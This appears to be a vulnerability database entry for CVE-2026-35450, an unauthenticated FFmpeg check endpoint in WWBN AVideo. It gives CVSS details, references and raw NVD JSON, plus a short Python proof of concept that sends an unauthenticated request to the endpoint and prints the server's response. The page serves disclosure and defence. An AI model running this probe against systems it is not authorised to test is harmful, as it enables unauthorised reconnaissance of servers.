CVE-2026-35450

Description

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the plugin/API/check.ffmpeg.json.php endpoint probes the FFmpeg remote server configuration and returns connectivity status without any authentication. All sibling FFmpeg management endpoints (kill.ffmpeg.json.php, list.ffmpeg.json.php, ffmpeg.php) require User::isAdmin().

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE

WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_poc(target_url):
    """
    PoC for CVE-2026-35450: Unauthenticated access to FFmpeg check endpoint.
    """
    # The vulnerable endpoint path
    endpoint = "/plugin/API/check.ffmpeg.json.php"
    full_url = f"{target_url}{endpoint}"
    
    try:
        # Send request without authentication headers
        response = requests.get(full_url, timeout=10)
        
        if response.status_code == 200:
            print(f"[+] Target is vulnerable: {target_url}")
            print(f"[+] Response content: {response.text}")
        else:
            print(f"[-] Target may not be vulnerable. Status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")

if __name__ == "__main__":
    target = "http://example.com"  # Replace with actual target
    check_poc(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35450
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35450
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35450/
[4] VulDB https://vuldb.com/cve/CVE-2026-35450
[5] https://github.com/WWBN/AVideo/security/advisories/GHSA-2vg4-rrx4-qcpq

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35450", "sourceIdentifier": "[email protected]", "published": "2026-04-06T22:16:23.463", "lastModified": "2026-04-14T15:37:29.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 26.0 and prior, the plugin/API/check.ffmpeg.json.php endpoint probes the FFmpeg remote server configuration and returns connectivity status without any authentication. All sibling FFmpeg management endpoints (kill.ffmpeg.json.php, list.ffmpeg.json.php, ffmpeg.php) require User::isAdmin()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2vg4-rrx4-qcpq", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}